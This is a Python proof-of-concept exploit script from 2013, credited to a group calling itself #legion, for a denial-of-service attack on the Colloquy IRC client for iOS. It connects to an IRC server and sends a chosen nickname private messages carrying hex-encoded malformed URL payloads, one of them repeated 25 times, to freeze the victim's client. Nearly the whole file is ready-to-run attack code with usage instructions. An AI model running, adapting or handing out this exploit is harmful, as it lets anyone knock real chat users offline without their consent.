182 lines
No EOL
5.9 KiB
Python
Executable file
182 lines
No EOL
5.9 KiB
Python
Executable file
#!/usr/bin/python3
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###################################################################################
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# Wednesday, January 09, 2013
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#
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#
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#
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# _ _ .__ .__
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# __| || |_| | ____ ____ |__| ____ ____
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# \ __ / | _/ __ \ / ___\| |/ _ \ / \
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# | || || |_\ ___// /_/ > ( <_> ) | \
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# /_ ~~ _\____/\___ >___ /|__|\____/|___| /
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# |_||_| \/_____/ \/
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# http://www.zempirians.com
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#
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# 00100011 01101100 01100101 01100111 01101001 01101111 01101110
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#
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#
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#
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# -=[ Colloquy - A Mac OS X Internet Chat client. ] =-
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#
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# [P]roof [o]f [C]oncept, Denial of Service
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#
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#
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#
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#
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###################################################################################
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# # T E A M #
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# #######################
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#
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# UberLame .......> Provided exploit discovery + payloads
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# Aph3x .......> Provided main payload attack for this demostration. <3
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# O_O .......> Built the concept in Python3
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# Apetrick .......> Allowed testing of the exploit against his ipod
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# syk .......> Allowed testing of the exploit against his iphone5
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#
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#
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###################################################################################
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# SUMMARY #
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################
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#
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# This DOS is designed to freeze the client making it impossible to do anything
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# with it. The user will need to manually restart the application in order to
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# continue using it.
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#
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# There are over a few dozen ways to crash the Colloquy client, however, we
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# will only be showing 3 various methods. These glitches were suppose to be
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# fixed in 'Colloquy' 1.3.5, however, they still exist in the lastest release
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# of 1.3.6...
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#
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################
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# VULNERABLE #
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################
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#
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# Colloquy 1.3.5 (5534) - iPhone OS 5.1.1 (ARM) - http://colloquy.mobi
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# Colloquy 1.3.6 (5575) - iPhone OS 6.0.2 (ARM) - http://colloquy.mobi
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#
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################
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# PATCH #
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################
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#
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# There is no CVE reported.
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#
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################
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# PATCH #
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################
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#
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# There is no PATCH available.
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#
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###################################################################################
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# # #
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# # H O W - T O #
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# # #
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# #######################
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#
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# Provide the Target: Server, Port, Nickname and the script will deliver
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# the payload...
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#
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# [!USE/]$ ./<file>.py -t <server> -p <port> -n <nickname>
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#
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###################################################################################
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from argparse import ArgumentParser
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from time import sleep
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import socket
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shellcode = {
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# One Shot <3
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'one_shot' : [ \
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"687474703a2f2f782f2e2425235e26402426402426232424242425232426",
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"23242623262340262a232a235e28242923404040245e2340242625232323",
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"5e232526282a234026405e242623252623262e2f2e2f2e2e2f2e2e2f2324",
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"2e24" ],
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# 1.3.5
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'1_3_5' : [ \
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"687474703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428",
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"292c7573657228292c2873656c6563742532302d2d687474703a2f2f6874",
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"74703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428292c"
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"7573657228292c2873656c6563742532302d2d687474703a2f2f" ],
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# 1.3.6 - ( Requires Sending 25 Times )
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'1_3_6' : [ \
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"687474703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428",
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"292c7573657228292c2873656c6563742532302d2d687474703a2f2f6874",
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"74703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428292c",
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"7573657228292c2873656c6563742532302d2d687474703a2f2f" ],
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}
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def own( sock, target, sc_key='one_shot' ):
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sc = ''.join( shellcode[sc_key] )
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targ = ''.join( ''.join( [ hex( ord( ch ) ) for ch in target ] ).split( '0x' ) )
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msg = "505249564d534720{}203a{}0d0a".format( targ, sc )
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if sc_key not in '1_3_6':
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sock.send( bytes.fromhex( msg ) )
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else:
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try:
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for x in range( 1, 26 ):
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sock.send( bytes.fromhex( msg ) )
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sleep( .64 )
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except:
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print( 'FAILED!')
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def connect( uri, port, target, sc_key ):
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sock = socket.socket()
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try:
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ret = sock.connect_ex(( uri, int( port ) ))
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sock.recv(8096)
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except:
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print( "\t[-] Failed To Connect To {}".format( uri ) )
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exit()
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sock.send( b"\x4e\x49\x43\x4b\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x0d\x0a" )
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sock.send( b"\x55\x53\x45\x52\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x20\x48\x45\x48\x45\x20\x48\x45\x48\x45\x20\x3a\x3c\x33\x0d\x0a" )
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while True:
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host_data = str( sock.recv( 8096 ).strip() )
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if ' 396 ' in host_data:
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print( '\t[+] Connection Successful Sending Payload To {}'.format( target ) )
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own( sock, target, sc_key )
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sock.send( b'QUIT\r\n' )
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sock.close()
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break
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try:
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msg = host_data.split()
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if msg[0].lower() is 'ping':
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sock.send( b"PONG {}\r\n".format( msg[1] ) )
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continue
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except:
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pass
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print( '\t[!] Payload Sent, Target Should Drop Shortly <3' )
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if __name__ == '__main__':
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parser = ArgumentParser( description='#legion Colloquy IRC DoS; Requires At Least A Nick To Target' )
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parser.add_argument( '-t', '--target', dest='target', default='localhost', help="IRCD Server Uri To Connect On" )
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parser.add_argument( '-p', '--port', dest='port', default=6667, help="Port To Connect On" )
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parser.add_argument( '-n', '--nick', dest='nick', metavar='NICK', help="Nick To Target" )
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parser.add_argument( '-s', '--shellcode', dest='shellcode', default='one_shot',
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help='Shell Code To Use, ( one_shot, 1_3_5, 1_3_6 )' )
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args = parser.parse_args()
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if args.nick is None:
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parser.print_help()
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exit()
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connect( args.target, args.port, args.nick, args.shellcode.strip() ) |